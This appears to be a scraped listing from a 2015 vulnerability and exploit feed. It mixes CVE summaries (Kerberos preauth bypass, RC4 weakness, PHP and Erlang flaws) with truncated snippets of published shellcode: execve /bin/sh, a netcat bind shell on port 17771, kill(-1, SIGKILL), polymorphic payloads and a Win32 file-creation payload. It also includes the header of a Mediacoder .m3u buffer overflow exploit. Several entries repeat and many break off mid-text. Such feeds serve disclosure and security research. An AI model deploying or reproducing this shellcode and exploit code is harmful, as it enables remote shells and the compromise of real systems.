CVE-2015-2694

The kdcpreauth modules in MIT Kerberos 5 aka krb5 1.12.x and 1.13.x before 1.13.2 do not properly track whether a client's request has been validated, which allows remote attackers to bypass an intended preauthentication requirement by providing 1 zero bytes of data or 2 an arbitrary realm name,...

linux/x86 execve "/bin/sh" shellcode - 26 bytes

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx ;execve"/bin/sh", NULL, NULL mov al,11 jmp shell shellret: pop ebx push ecx push ebx pop ebx int...

SSL/TLS: "Invariance Weakness" vulnerability in RC4 stream cipher

The RC4 algorithm, as used in the TLS protocol and SSL protocol, does not properly combine state data with key data during the initialization phase, which makes it easier for remote attackers to conduct plaintext-recovery attacks against the initial bytes of a stream by sniffing network traffic...

SSL/TLS: "Invariance Weakness" vulnerability in RC4 stream cipher

The RC4 algorithm, as used in the TLS protocol and SSL protocol, does not properly combine state data with key data during the initialization phase, which makes it easier for remote attackers to conduct plaintext-recovery attacks against the initial bytes of a stream by sniffing network traffic...

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes

Linux/x86 - execve "/bin/sh" - shellcode 26 bytes. Shellcode exploit for linx86 platform / ; Title: Linux/x86 execve "/bin/sh" - shellcode 26 bytes ; Platform: linux/x8664 ; Date: 2015-05-19 ; Author: Reza Behzadpour ; Simple ShellCode section .text global start start: xor ecx,ecx mul ecx...

PHP 5.4.x < 5.4.41 Multiple Vulnerabilities

According to its banner, the version of PHP 5.4.x running on the remote web server is prior to 5.4.41. It is, therefore, affected by multiple vulnerabilities : - Multiple unspecified flaws in pcrelib. CVE-2015-2325, CVE-2015-2326 - A flaw in the pharparsetarfile function in ext/phar/tar.c could...

linux/x86 - exit(0) - 6 bytes

/ linux/x86 exit0 - 6 bytes Febriyanto Nugroho / include char shellcode = "\xf7\xf0" "\xcd\x80" "\xeb\xfa"; int mainint argc, char argv asm"jmp %0;" : "=m" shellcode;...

linux/x86-64 - Execve /bin/sh Shellcode Via Push - 23 bytes

/ Execve /bin/sh Shellcode Via Push Linux x8664 23 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong email protected 27 April 2015 GPL .global start start: char const argv xorl %esi, %esi 'h' 's' '/' '/' 'n' 'i' 'b' '/' movq $0x68732f2f6e69622f, %rbx for '\x00' pushq %rsi pushq %rbx...

linux/x86 - Execve /bin/sh Shellcode Via Push - 21 bytes

/ Execve /bin/sh Shellcode Via Push Linux x86 21 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong email protected 18 February 2015 GPL .global start start: char const argv xorl %ecx, %ecx 2 bytes, and both %eax and %edx were zeroed mull %ecx NRexecve 11 movb $11, %al for '\x00' push...

SSL/TLS: "Invariance Weakness" vulnerability in RC4 stream cipher

The RC4 algorithm, as used in the TLS protocol and SSL protocol, does not properly combine state data with key data during the initialization phase, which makes it easier for remote attackers to conduct plaintext-recovery attacks against the initial bytes of a stream by sniffing network traffic...

Mediacoder 0.8.34.5716 - .m3u Local Buffer Overflow (SEH)

Mediacoder 0.8.34.5716 - .m3u Local Buffer Overflow SEH !/usr/bin/python Exploit Title: Mediacoder 0.8.34.5716 Buffer Overflow SEH Exploit .m3u Date: 05/May/2015 Author: @evilcomrade IRC freenode: vulnhub or offsec or corelan email: kwiha2003 at yahoo dot com Version: 0.8.34.5716 Tested on: Win X...

Linux x86 - /bin/nc -le /bin/sh -vp 17771 Shellcode 58 Bytes

Linux x86 - /bin/nc -le /bin/sh -vp 17771 Shellcode 58 Bytes. Shellcode exploit for linx86 platform / Linux x86 /bin/nc -le /bin/sh -vp 17771 shellcode This shellcode will listen on port 17771 and give you /bin/sh Shellcode Author: Oleg Boytsev Tested on: Debian GNU/Linux 7/i686 Shellcode Length:...

Updated erlang packages fix CVE-2015-2774

Updated erlang packages fix security vulnerability: Erlang's TLS-1.0 implementation failed to check padding bytes, leaving it vulnerable to an issue similar to POODLE CVE-2015-2774...

Mediacoder 0.8.34.5716 Buffer Overflow

!/usr/bin/python Exploit Title: Mediacoder 0.8.34.5716 Buffer Overflow SEH Exploit .m3u Date: 05/May/2015 Author: @evilcomrade IRC freenode: vulnhub or offsec or corelan email: kwiha2003 at yahoo dot com Version: 0.8.34.5716 Tested on: Win XP3 Vendor: http://www.mediacoderhq.com/ Software link:...

linux/x86 kill(-1, SIGKILL) - 10 bytes

// linux/x86 kill-1, SIGKILL - 10 bytes // Febriyanto Nugroho include char shellcode = "\x6a\x25" \ push $0x25 "\x58" \ pop %eax "\x6a\xff" \ push $0xffffffff = -1 "\x5b" \ pop %ebx "\xb1\x09" \ mov $0x9,%cl "\xcd\x80"; \ int $0x80 int mainint argc, char argv asm"jmp %0;" : "=m" shellcode;...

linux/x86 exit(0) polymorphic shellcode - 29 bytes

// linux/x86 exit0 polymorphic shellcode - 29 bytes // Febriyanto Nugroho include char shellcode = "\xeb\x11\x5e\x31\xc9\xb1\x24" "\x80\x6c\x0e\xff\x01\x80\xe9" "\x01\x75\xf6\xeb\x05\xe8\xea" "\xff\xff\xff\x6b\x1e\x5a\xce" "\x81"; int mainint argc, char argv asm"jmp %0;" : "=m" shellcode;...

linux/x86 - exit0 6 bytes

linux/x86 - exit0 6 bytes. Shellcode exploit for linx86 platform / linux/x86 exit0 - 6 bytes Febriyanto Nugroho / include char shellcode = "\xf7\xf0" "\xcd\x80" "\xeb\xfa"; int mainint argc, char argv asm"jmp %0;" : "=m" shellcode;...

linux/x86 execve("/usr/bin/ssh", "127.0.0.1") - 50 bytes

// linux/x86 execve"/usr/bin/ssh", "/usr/bin/ssh", "127.0.0.1", NULL - 50 bytes // Febriyanto Nugroho include char shellcode = "\x6a\x0b" "\x58" "\x99" "\x52" "\x68\x2f\x73\x73\x68" "\x68\x2f\x62\x69\x6e" "\x68\x2f\x75\x73\x72" "\x89\xe3" "\x52" "\x6a\x31" "\x66\x68\x30\x2e" "\x66\x68\x30\x2e"...

Linux x86-64 - Execve /bin/sh Shellcode Via Push 23 bytes

Linux x86-64 - Execve /bin/sh Shellcode Via Push 23 bytes. Shellcode exploit for linx86-64 platform / Execve /bin/sh Shellcode Via Push Linux x8664 23 bytes Dying to be the shortest. Copyright C 2015 Gu Zhengxiong [email protected] 27 April 2015 GPL .global start start: char const argv xorl %esi,...

win32/xp sp3 Create "file.txt" 83 bytes

win32/xp sp3 Create "file.txt" 83 bytes. Shellcode exploit for win32 platform / + Author: TUNISIAN CYBER + Title: Shellcode: win32/xp sp3 Create "file.txt" 83 bytes + Date: 15-04-2015 + Type: Local Exploits + Tested on: WinXp 32bit SP3 + Friendly Sites: sec4ever.com + Twitter: @TCYB3R + Credits:...